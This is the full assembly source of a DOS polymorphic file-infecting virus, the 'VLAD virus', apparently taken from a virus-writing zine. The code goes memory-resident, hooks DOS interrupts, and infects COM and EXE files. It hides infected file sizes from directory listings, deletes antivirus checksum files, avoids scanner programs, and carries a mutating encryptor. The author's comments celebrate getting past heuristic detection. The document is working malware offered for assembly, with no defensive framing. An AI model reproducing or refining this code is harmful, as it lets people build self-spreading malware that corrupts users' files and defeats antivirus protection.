; The VLAD virus!
; +-------------+
; by Qark/VLAD!
; OVL files... never again! I give this piece of advice to anyone.
; By avoiding the infection of OVL's your virus may spread for long times
; without discovery. Otherwise everything crashes... ok, not everything
; but some large application programs do and that certainly makes people
; suspicious. Don't do it!
; WoW! My first ever polymorphic virus! Yay! We'll see how it does.
; My goal is to make it so that there is no longer a signature and you'll
; need an algorithm to find it... but some lines of code can't really be
; switched with others so I face a bit of a dilemma. My code has stood up
; to all the tests I've done on it so far... so we'll see.
; According to my calculations there are a few million variations on
; this sucker. I have gotten it to the point that there are only seven bytes
; that remain the same. Not too bad...
; This virus is completely optimised. Every routine has been stripped
; to the barest minimum. (Unlike Daddy in my last release). It even passed
; the 'TZ' test. He only managed to strip five bytes off this sucker.
; Features: Doesn't infect EXE files that use internal overlays.
; Doesn't get flagged under heuristics.
; Deletes CRC checking files.
; Findfirst/Findnext stealth.
; Directory listing stealth.
; Uses the DOS qualify function to fix-up the filename.
; (This is a pretty good new feature... uppercase, full path
; and it's smaller than a REP MOVSB!)
; Int24h handler to stop write protect errors on floppys.
; Doesn't infect SCAN*.*, TB*.*, F-PR*.* and DV.E*
; Uses SFT's to bypass some DOS functions.
; Infects readonly files without changing their attribute.
; Slightly polymorphic (Seven stable bytes)
; Doesn't infect COM files that are too big or small.
; Assemble using a86.
org 0
db 0beh ;Stands for MOV SI,xxxx
delta dw 100h ;We'll put the data offset in.
db 0b0h ;Stands for MOV AL,xxxx
encryptor db 0 ;The encryption byte.
poly6:
add si,offset enc_start ;Point to the bit to encrypt.
call encrypt ;Decrypt the file.
enc_start: ;Everything after this point
;has been encrypted.
sub si,offset enc_end ;Restore SI.
;mov word ptr [si+offset quit],20cdh
db 0c7h,44h
db offset quit
dw 20cdh
quit:
mov word ptr [si+offset quit],44c7h
;Install the TSR now.
push bx
push cx
push ds
push es
push si
mov ax,0CAFEh ;Eat here.
int 21h
cmp ax,0F00Dh ;Is there any of this ?
je bad_mem_exit ;Yep! Time for lunch! No viral
;activity today!
mov ax,es ;ES = PSP
dec ax
mov ds,ax ;DS=MCB segment
cmp byte ptr [0],'Z' ;Z=last MCB
jne bad_mem_exit
sub word ptr [3],160 ;160*16=2560 less memory
sub word ptr [12h],160 ;[12h] = PSP:[2] = Top of memory
mov ax,word ptr [12h]
;------------------------------
push cs
pop ds ;DS=CS
xor bx,bx ;ES=0
mov es,bx
mov bx,word ptr es:[132] ;get int21h
mov word ptr [si+offset i21],bx
mov bx,word ptr es:[134] ;get int21h
mov word ptr [si+offset i21 + 2],bx
;------------------------------
mov es,ax ;Store our stuff in here...
xor di,di
mov cx,offset length
rep movsb ;Move the Virus to ES:DI
;------------------------------
xor bx,bx ;ES=0
mov ds,bx
mov word ptr [132],offset infection
mov word ptr [134],ax
bad_mem_exit:
pop si
pop es
pop ds
pop cx
pop bx
cmp byte ptr [si+offset com_exe],1
je Exe_Exit
mov ax,word ptr [si+offset old3]
mov word ptr [100h],ax
mov al,byte ptr [si+offset old3+2]
mov [102h],al
mov ax,100h
jmp ax
Exe_exit:
mov ax,es ;ES=PSP
add ax,10h ;PSP+10H = start of actual
;exe file.
add word ptr [si+jump+2],ax ;Fix jump for original CS.
mov sp,word ptr [si+offset orig_sp]
add ax,word ptr [si+offset orig_ss] ;Fix segment with AX.
mov ss,ax
push es
pop ds
xor si,si
xor ax,ax
db 0eah
jump dd 0
db '[VLAD virus]',0
db 'by VLAD!',0
infection proc far
push ax ;Save AX
xchg ah,al ;Swap AH,AL
cmp al,4bh ;Cmp AL,xx is smaller than AH
je test_file ;Thanx TZ! :)
cmp al,43h
je test_file
cmp al,56h
je test_file
cmp ax,006ch
je test_file
cmp al,3dh
je test_file
cmp al,11h ;Do directory stealth.
je dir_listing
cmp al,12h
je dir_listing
cmp al,4eh ;Find_first/Find_next stealth.
je find_file
cmp al,4fh
je find_file
pop ax
cmp ax,0CAFEh ;Where I drink coffee!
jne jump1_exit
mov ax,0F00Dh ;What I eat while I'm there.
iret
dir_listing:
jmp dir_stealth
find_file:
jmp search_stealth
jump1_exit:
jmp jend
test_file:
push bx
push cx
push dx
push ds
push es
push si
push di
cmp al,6ch
jne no_fix_6c
mov dx,si
no_fix_6c:
mov si,dx ;DS:SI = Filename.
push cs
pop es ;ES=CS
mov ah,60h ;Get qualified filename.
mov di,offset length ;DI=Buffer for filename.
call int21h ;This converts it to uppercase too!
;CS:LENGTH = Filename in uppercase
;with path and drive. Much easier
;to handle now!
push cs
pop ds ;DS=CS
mov si,di ;SI=DI=Offset of length.
cld ;Clear direction flag.
find_ascii_z:
lodsb
cmp al,0
jne find_ascii_z
sub si,4 ;Points to the file extension. 'EXE'
lodsw ;Mov AX,DS:[SI]
cmp ax,'XE' ;The 'EX' out of 'EXE'
jne test_com
lodsb ;Mov AL,DS:[SI]
cmp al,'E' ;The last 'E' in 'EXE'
jne jump2_exit
jmp do_file ;EXE-file
test_com:
cmp ax,'OC' ;The 'CO' out of 'COM'
jne jump2_exit
lodsb ;Mov AL,DS:[SI]
cmp al,'M'
je do_file ;COM-file
jump2_exit:
jmp far_pop_exit ;Exit
Do_file:
call chk4scan
jc jump2_Exit
mov ax,3d00h ;Open file.
mov dx,di ;DX=DI=Offset length.
call int21h
jc jump2_exit
mov bx,ax ;File handle into BX.
call get_sft ;Our SFT.
;Test for infection.
mov ax,word ptr es:[di+0dh] ;File time into AX from SFT.
mov word ptr es:[di+2],2 ;Bypass Read only attribute.
and ax,1f1fh ;Get rid of the shit we don't need.
cmp al,ah ;Compare the seconds with minutes.
je jump2_exit
push cs
pop es ;ES=CS
call del_crc_files
;Read the File header in to test
;for EXE or COM.
mov ah,3fh ;Read from file.
mov cx,1ch ;1C bytes.
call int21h ;DX=Offset length from del_crc_files
;We don't need the filename anymore
;so use that space as a buffer.
;Save int24h and point to our controller.
xor ax,ax
mov es,ax
push word ptr es:[24h*4] ;Save it.
push word ptr es:[24h*4+2]
mov word ptr es:[24h*4],offset int24h
mov word ptr es:[24h*4+2],cs ;Point it!
push cs
pop es
mov si,dx ;SI=DX=Offset of length.
mov ax,word ptr [si] ;=Start of COM or EXE.
add al,ah ;Add possible MZ.
cmp al,167 ;Test for MZ.
je exe_infect
jmp com_infect
EXE_Infect:
mov byte ptr com_exe,1 ;Signal EXE file.
cmp word ptr [si+1ah],0 ;Test for overlays.
jne exe_close_exit ;Quick... run!!!
push si ;SI=Offset of header
add si,0eh ;SS:SP are here.
mov di,offset orig_ss
movsw ;Move them!
movsw
mov di,offset jump ;The CS:IP go in here.
lodsw ;ADD SI,2 - AX destroyed.
movsw
movsw ;Move them!
pop si
call get_sft ;ES:DI = SFT for file.
mov ax,word ptr es:[di+11h] ;File length in DX:AX.
mov dx,word ptr es:[di+13h]
mov cx,16 ;Divide by paragraphs.
div cx
sub ax,word ptr [si+8] ;Subtract headersize.
mov word ptr delta,dx ;Initial IP.
mov word ptr [si+14h],dx ;IP in header.
mov word ptr [si+16h],ax ;CS in header.
add dx,offset stack_end ;Fix SS:SP for file.
mov word ptr [si+0eh],ax ;We'll make SS=CS
mov word ptr [si+10h],dx ;SP=IP+Offset of our buffer.
mov ax,word ptr es:[di+11h] ;File length in DX:AX.
mov dx,word ptr es:[di+13h]
add ax,offset length ;Add the virus length on.
adc dx,0 ;32bit
mov cx,512 ;Divide by pages.
div cx
and dx,dx
jz no_page_fix
inc ax ;One more for the partial
;page!
no_page_fix:
mov word ptr [si+4],ax ;Number of pages.
mov word ptr [si+2],dx ;Partial page.
mov word ptr es:[di+15h],0 ;Lseek to start of file.
call get_date ;Save the old time/date.
mov ah,40h ;Write header to file.
mov dx,si ;Our header buffer.
mov cx,1ch ;1CH bytes.
call int21h
jc exe_close_exit
mov ax,4202h ;End of file. Smaller than
;using SFT's.
xor cx,cx ;Zero CX
cwd ;Zero DX (If AX < 8000H then
;CWD moves zero into DX)
call int21h
call enc_setup ;Thisll encrypt it and move
;it to the end of file.
exe_close_exit:
jmp com_close_exit
COM_Infect:
mov byte ptr com_exe,0 ;Flag COM infection.
mov ax,word ptr [si] ;Save COM files first 3 bytes.
mov word ptr old3,ax
mov al,[si+2]
mov byte ptr old3+2,al
call get_sft ;SFT is at ES:DI
mov ax,es:[di+11h] ;AX=File Size
cmp ax,64000
ja com_close_exit ;Too big.
cmp ax,1000
jb com_close_exit ;Too small.
push ax ;Save filesize.
mov newoff,ax ;For the new jump.
sub newoff,3 ;Fix the jump.
mov word ptr es:[di+15h],0 ;Lseek to start of file :)
call get_date ;Save original file date.
mov ah,40h
mov cx,3
mov dx,offset new3 ;Write the virus jump to start of
call int21h ;file.
pop ax ;Restore file size.
jc com_close_exit ;If an error occurred... exit.
mov word ptr es:[di+15h],ax ;Lseek to end of file.
add ax,100h ;File size + 100h.
mov word ptr delta,ax ;The delta offset for COM files.
call enc_setup
com_close_exit:
mov ah,3eh
call int21h
;restore int24h
xor ax,ax
mov es,ax
pop word ptr es:[24h*4+2]
pop word ptr es:[24h*4]
far_pop_exit:
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
jend:
db 0eah ;Opcode for jmpf
i21 dd 0
;$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
;$$ PROCEDURES AND DATA $$
;$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
int21h proc near ;Our int 21h
pushf
call dword ptr cs:[i21]
ret
int21h endp
int24h proc near
mov al,3
iret
int24h endp
Search_Stealth:
pop ax ;Restore AX.
call int21h
jc end_search
push es
push bx
push si
mov ah,2fh
call int21h
mov si,bx
mov bx,word ptr es:[si+16h]
and bx,1f1fh
cmp bl,bh
jne search_pop ;Is our marker set ?
sub word ptr es:[si+1ah],offset length ;Subtract the file length.
sbb word ptr es:[si+1ch],0
search_pop:
pop si
pop bx
pop es
clc
end_search:
retf 2 ;This is the same as an IRET
;except that the flags aren't popped
;off so our Carry Remains set.
Dir_Stealth:
;This bit means that when you do a 'dir' there is no change in
;file size.
pop ax
call int21h ;Call the interrupt
cmp al,0 ;straight off.
jne end_of_dir
push es
push ax ;Save em.
push bx
push si
mov ah,2fh ;Get DTA address.
call int21h
mov si,bx
cmp byte ptr es:[si],0ffh ;Extended FCB ?
jne not_extended
add si,7 ;Add the extra's.
not_extended:
mov bx,word ptr es:[si+17h] ;Move time.
and bx,1f1fh
cmp bl,bh
jne dir_pop ;Is our marker set ?
sub word ptr es:[si+1dh],offset length ;Subtract the file length.
sbb word ptr es:[si+1fh],0
dir_pop:
pop si
pop bx
pop ax
pop es
end_of_dir:
iret
Get_Date proc near
;Saves the date into DATE and TIME.
mov ax,5700h ;Get Date/Time.
call int21h
mov word ptr time,cx
mov word ptr date,dx
ret
Get_Date endp
time dw 0
date dw 0
Set_marker proc near
;Sets the time back and changes the time into an infection marker.
mov cx,time
mov al,ch
and al,1fh
and cl,0e0h
or cl,al
mov dx,date
mov ax,5701h
call int21h
ret
Set_marker endp
PolyMorphic Proc Near
;Moves random instructions into the code.
in ax,40h ;Random in AX
and ax,6 ;Between 0-3 * 2
mov di,offset enc_loop ;Put the xor in a random position.
add di,ax
mov word ptr [di],0430h ;=XOR [SI],AL
mov dx,di ;Already done this position
mov di,offset poly1 ;Put the random instruction here.
mov cx,3 ;3 random instructions.
poly_enc_loop:
in ax,40h ;Random number in AX.
and ax,14 ;Between 0-7. Multiplied by 2.
;14 = 00001110b
mov si,offset database1 ;SI points to start of database.
add si,ax ;Add SI with AX the random offset.
cmp dx,di ;Is the XOR here ?
jne poly_move ;Nope its ok.
inc di ;Dont move where the XOR is!
inc di
poly_move:
movsw ;Move the instruction.
loop poly_enc_loop
Poly_CX:
;This time we are randomising the 'MOV CX,' in the encryption
;routine with some POPs.
in ax,40h ;Random number in AX.
and ax,3 ;0-3
cmp ax,3
je poly_cx ;We only have 3 combinations to
;choose from so retry if the fourth
;option gets choosen.
xchg al,ah ;Swap em for AAD.
aad ;Multiply AH by 10(decimal).
shr al,1 ;Divide by 2.
;The overall effect of this is
;MUL AX,5 We need this because
;we have to move 5 bytes.
mov si,offset database2
add si,ax
mov di,offset poly5 ;Where to put the bytes.
movsw ;Move 5 bytes
movsw
movsb
in ax,40h ;Rand in AX.
and ax,12 ;0-3*4
mov si,offset database3
add si,ax
mov di,offset poly6
movsw
movsw
in ax,40h
and ax,2
mov si,offset database4
add si,ax
mov di,offset poly7
movsw
in ax,40h
and ax,2
mov si,offset database5
add si,ax
mov di,offset poly8
movsw
ret
db '[VIP v0.01]',0
PolyMorphic EndP
database1 db 0f6h,0d0h ;not al 2 bytes
db 0feh,0c0h ;inc al 2 bytes
db 0f6h,0d8h ;neg al 2 bytes
db 0feh,0c8h ;dec al 2 bytes
db 0d0h,0c0h ;rol al,1 2 bytes
db 04h,17h ;add al,17h 2 bytes
db 0d0h,0c8h ;ror al,1 2 bytes
db 2ch,17h ;sub al,17h 2 bytes
database2: ;Three variations on the one routine within encrypt.
mov cx,offset enc_end - offset enc_start
push cs
pop ds
push cs
pop ds
mov cx,offset enc_end - offset enc_start
push cs
mov cx,offset enc_end - offset enc_start
pop ds
database3: ;Four variations of the routine at the start of the virus.
add si,offset enc_start + 1
dec si
dec si
add si,offset enc_start +1
add si,offset enc_start -1
inc si
inc si
add si,offset enc_start -1
database4: ;This is for the INC SI in the encryption.
inc si
cld
cld
inc si
database5: ;This is for the RET in the encryption.
ret
db 0fh
cld
ret
Enc_Setup proc near
push cs
pop es
call polymorphic ;Our polymorphic routine.
inc byte ptr encryptor ;Change the encryptor.
jnz enc_not_zero ;Test for zero.
;XOR by Zero is the same byte.
inc byte ptr encryptor
enc_not_zero:
xor si,si
mov di,offset length ;Offset of our buffer.
mov cx,offset length ;Virus Length.
rep movsb ;Move the virus up in memory for
;encryption.
mov al,byte ptr encryptor
mov si,offset length + offset enc_start
call encrypt ;Encrypt virus.
mov ah,40h ;Write virus to file
mov dx,offset length ;Buffer for encrypted virus.
mov cx,offset length ;Virus length.
call int21h
call set_marker ;Mark file as infected.
ret
Enc_Setup endp
Get_SFT Proc Near
;Entry: BX=File Handle.
;Exit: ES:DI=SFT.
push bx
mov ax,1220h ;Get Job File Table Entry. The byte pointed
int 2fh ;at by ES:[DI] contains the number of the
;SFT for the file handle.
xor bx,bx
mov bl,es:[di] ;Get address of System File Table Entry.
mov ax,1216h
int 2fh
pop bx
ret
Get_SFT EndP
Del_CRC_Files Proc Near
;Deletes AV CRC checking files. Much smaller than the previous version.
std ;Scan backwards.
find_slash2: ;Find the backslash in the path.
lodsb
cmp al,'\'
jne find_slash2
cld ;Scan forwards.
lodsw ;ADD SI,2 - AX is destroyed.
push si
pop di ;DI=SI=Place to put filename.
mov si,offset crc_files
del_crc:
push di ;Save DI.
loadname:
movsb
cmp byte ptr [di-1],0
jne loadname
mov ah,41h
call int21h ;Delete.
pop di
cmp si,offset chk4scan
jb del_crc
ret
Del_CRC_Files EndP
;Delete these...
CRC_Files db 'ANTI-VIR.DAT',0
db 'MSAV.CHK',0
db 'CHKLIST.CPS',0
db 'CHKLIST.MS',0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Chk4Scan Proc Near
;This routine searches for SCAN, TB* and F-PR* and exits with the carry
;set if they are found. All these files self-check themselves so will alert
;the user to the viruses presence. DV.EXE is checked by DV.COM and won't
;execute.
;Assumes DI=offset length, SI=End of filename
std ;Scan backwards.
find_slash: ;Find the backslash in the path.
lodsb
cmp al,'\'
jne find_slash
cld ;Scan forwards.
lodsw ;SI points to byte before slash
;so we add 2. AX is killed.
lodsw
cmp ax,'CS' ;The 'SC' from SCAN.
jne tbcheck
lodsw
cmp ax,'NA' ;The 'AN' from SCAN
jne chkfail
stc ;Set carry.
ret
tbcheck:
cmp ax,'BT' ;The 'TB' from TBSAN.
jne fcheck
stc ;Set carry.
ret
fcheck:
cmp ax,'-F' ;The 'F-' from F-PROT.
jne dvcheck
lodsw
cmp ax,'RP' ;The 'PR' from F-PROT.
jne chkfail
stc ;Set carry
ret
dvcheck:
cmp ax,'VD' ;The 'DV' from DV.EXE.
jne chkfail
lodsw
cmp ax,'E.' ;The '.E' from DV.EXE.
jne chkfail
stc
ret
chkfail:
clc ;Clear the carry.
ret
Chk4Scan EndP
com_exe db 0 ;1=EXE
New3 db 0e9h ;The jump for the start of
Newoff dw 0 ;COM files.
old3 db 0cdh,20h,90h ;First 3 comfile bytes here.
orig_ss dw 0
orig_sp dw 0
enc_end:
encrypt proc near ;Encrypts the virus.
;SI = offset of bit to be encrypted
;AL = encryptor
poly5:
mov cx,offset enc_end - offset enc_start
push cs
pop ds
enc_loop:
poly1: ;The next four lines of code are
ror al,1 ;continuously swapped and moved with
poly2: ;other code. Ever changing...
ror al,1
poly3:
ror al,1
poly4:
xor byte ptr [si],al
poly7:
nop
inc si
loop enc_loop
poly8:
nop
ret
encrypt endp
length db 100 dup (0)
stack_end:
- VLAD #2 INDEX -